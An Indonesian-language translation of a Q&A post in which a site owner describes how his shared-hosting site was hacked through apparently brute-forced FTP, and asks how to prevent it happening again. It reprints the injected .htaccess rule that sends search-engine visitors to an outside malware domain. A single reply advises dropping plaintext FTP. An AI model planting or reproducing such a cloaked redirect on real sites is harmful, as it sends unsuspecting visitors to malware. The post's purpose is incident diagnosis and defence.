Situs saya telah diretas dan pada titik ini, saya tahu beberapa detail, tetapi saya bingung persis bagaimana itu terjadi atau bagaimana mencegahnya di masa depan. Saya membutuhkan bantuan Anda dalam mencoba membedah serangan sehingga saya dapat mencegahnya terjadi lagi. Ini agak lama, tapi saya ingin memastikan saya memberikan info yang cukup untuk membantu menyelesaikan masalah.
Inilah yang terjadi.
Beberapa minggu yang lalu, saya mendapat email dari perusahaan hosting saya, GoDaddy, mengatakan bahwa situs saya menggunakan terlalu banyak sumber daya dan mereka berharap bahwa permintaan MySQL adalah penyebabnya. Permintaan yang dimaksud adalah permintaan pencarian yang memiliki 5-6 istilah di dalamnya. Cara saya mengaturnya, semakin banyak istilah yang Anda cari, semakin kompleks permintaannya. Tidak masalah. Saya memperbaikinya, tetapi pada saat yang sama, GoDaddy juga menutup sementara akun saya dan itu sekitar 3 hari sebelum semuanya kembali normal.
Setelah kejadian itu, lalu lintas mesin pencari saya menurun drastis, sekitar 90%. Menyedot, oleh saya tidak memikirkan apa-apa tentang itu, menuliskannya ke kegagalan permintaan dan mencari tahu bahwa itu akan kembali pada waktunya ketika Google menyusun ulang situs. Tidak.
Beberapa hari yang lalu, saya mendapat email dari seorang pengguna yang mengatakan bahwa situs saya menampung malware. Saya memuat situs langsung di browser saya, tetapi tidak melihat apa pun disuntikkan ke halaman. Kemudian saya memeriksa file .htaccess saya dan menemukan yang berikut:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Imut. Dan sedikit licik. Menavigasi langsung ke situs dari bilah alamat atau bookmark, apa yang biasanya saya lakukan, akan memuat situs seperti biasa. Jarang sekali saya pergi ke situs saya melalui tautan dari mesin pencari, jadi itu sebabnya peretasannya tidak terdeteksi selama itu. Malware juga tidak di-host langsung di situs saya.
Pencarian cepat menunjukkan bahwa orang lain juga mengalami masalah yang sama, meskipun saya curiga ada banyak lagi yang belum terdeteksi. Sebagian besar rekomendasi adalah untuk meningkatkan ke versi terbaru dari perangkat lunak, mengubah kata sandi, dll.
Menjadi seperti saya menggunakan sistem manajemen konten kustom saya sendiri dan bukan Wordpress di mana-mana, saya menggali sedikit lebih dalam. Saya memindai semua file saya untuk fungsi-fungsi umum yang digunakan dalam eksploitasi PHP: base64_decode, exec, shell, dll ... Tidak ada yang mencurigakan muncul dan tidak ada file tambahan yang hadir.
Saya selanjutnya memeriksa riwayat manajer file GoDaddy dan menemukan bahwa file .htaccess diubah pada tanggal yang sama persis seperti ketika permintaan pencarian saya dituduh menggunakan terlalu banyak sumber daya server. Ini bisa jadi kebetulan yang disayangkan, tetapi saya tidak sepenuhnya yakin. Redirect dalam file .htaccess tampaknya tidak membutuhkan banyak sumber daya dan permintaannya cukup rumit sehingga bisa menjadi sumber daya intensif.
Saya ingin memastikan bahwa kode saya bukan masalah, jadi saya memeriksa log lalu lintas untuk aktivitas mencurigakan sekitar waktu file .htaccess dimodifikasi, tetapi tidak melihat aktivitas GET atau POST yang terlihat tidak normal atau seperti upaya hack.
Akhirnya, saya meminta log FTP dari GoDaddy dan menemukan bahwa ada akses FTP yang tidak sah pada saat file .htaccess diubah. Saya sedang berlibur pada saat itu, dengan komputer saya mati secara fisik, dan tidak ada orang lain dengan kredensial akses. Sepertinya siapa pun yang menggunakan FTP untuk menggunakan pengguna FTP utama, tetapi dengan IP 91.220.0.19, yang sepertinya berasal dari Latvia .
Di hosting bersama, tampaknya GoDaddy secara otomatis memberikan nama pengguna FTP utama berdasarkan URL situs. Ini sangat mudah diprediksi, atau setidaknya, saat itulah saya mengatur akun hosting saya. Saya pertama kali mendaftar untuk akun hosting beberapa tahun yang lalu, jadi mungkin sudah berubah, tetapi dari yang saya ingat, saya tidak dapat memilih nama pengguna FTP utama. Saat ini, Anda juga tidak dapat mengubah nama pengguna dan sepertinya GoDaddy tidak dapat melakukannya, kecuali jika Anda membatalkan akun dan mengundurkan diri. Meskipun Anda dapat membuat, menghapus, dan mengedit pengguna FTP lain, pengguna FTP utama tidak dapat dihapus. Hanya kata sandi yang bisa diubah.
Dengan pengecualian nama pengguna FTP utama, semua kredensial akses untuk situs, database, admin, dan akun tersebut adalah omong kosong, nama pengguna dan kata sandi acak yang terlihat seperti kucing Anda berjalan di keyboard Anda. Mis: lkSADf32! $ AsJd3.
Saya telah memindai komputer saya untuk mencari virus, malware, dll. Seandainya itu adalah titik lemah dalam tautan, tetapi tidak ada yang muncul sama sekali. Saya menggunakan firewall, program anti-virus, dan mencoba menggunakan kebiasaan browsing yang aman.
Ketika saya memperbarui situs saya, saya menggunakan Core FTP LE dan koneksi SSH / SFTP. Akun hosting adalah pengaturan Linux.
Dalam berbicara dengan dukungan teknis GoDaddy, mereka tidak yakin bagaimana kata sandi FTP dikompromikan. Di hosting bersama, mereka tidak dapat menempatkan blok IP di tingkat pengguna FTP. Mereka juga tidak dapat mengubah nama pengguna FTP utama. Ketika saya bertanya apakah mereka memiliki perlindungan brute force di sekitar akses FTP, teknologi itu terdengar tidak yakin pada awalnya, tetapi kemudian mengatakan mereka melakukannya setelah saya mengulanginya beberapa kali. Namun, saya pikir saya ingat menanyakan pertanyaan yang sama dalam panggilan dan dengar sebelumnya bahwa GoDaddy tidak memiliki perlindungan yang kasar pada akses FTP. Pada titik ini, saya tidak tahu apakah mereka tahu atau tidak.
Saya telah mengubah semua kredensial akses saya di seluruh papan dan juga melarang alamat IP Latvia menggunakan file .htaccess (mungkin tidak akan membuat perbedaan jika mereka menggunakan FTP), tetapi saya masih tidak yakin bagaimana FTP itu kata sandi dikompromikan untuk memulai.
Saya cukup yakin bahwa masalahnya bukan pada kode saya (bahkan jika itu, info FTP seharusnya tidak diekspos) atau dengan komputer saya. Apa yang saya curigai, tetapi tidak tahu bagaimana membuktikannya, adalah bahwa kata sandi FTP bersifat kasar karena nama pengguna dapat diprediksi. Serangan brute-force juga bisa bertepatan dengan sumber daya server yang digunakan (disalahkan pada permintaan saya), tetapi saya tidak cukup tahu sisi teknis server untuk mengetahui apakah itu mungkin atau bahkan mungkin.
Sekarang saya merasa seperti berada di ujung dari apa yang saya tahu harus saya lakukan. Saya ingin dapat memahami bagaimana serangan itu dilakukan dan bagaimana mencegahnya, jadi jika Anda memiliki ide lebih lanjut tentang vektor serangan, diagnostik yang dapat dijalankan, atau langkah-langkah keamanan tambahan, saya akan sangat berterima kasih. Saya lebih dari bersedia untuk mengubah host atau parit shared hosting, tetapi saya ingin memastikan saya dapat mencegah hal ini terjadi lagi.
Bantu aku, Obi-Wan Kenobi ...
Mudah! Jangan gunakan FTP. Ini mentransmisikan kredensial dalam teks biasa dan mentransmisikan semua data dalam teks biasa. Ini salah satu cara paling tidak aman untuk mentransfer file. Jika host Anda tidak mendukung cara lain, cari host baru.
sumber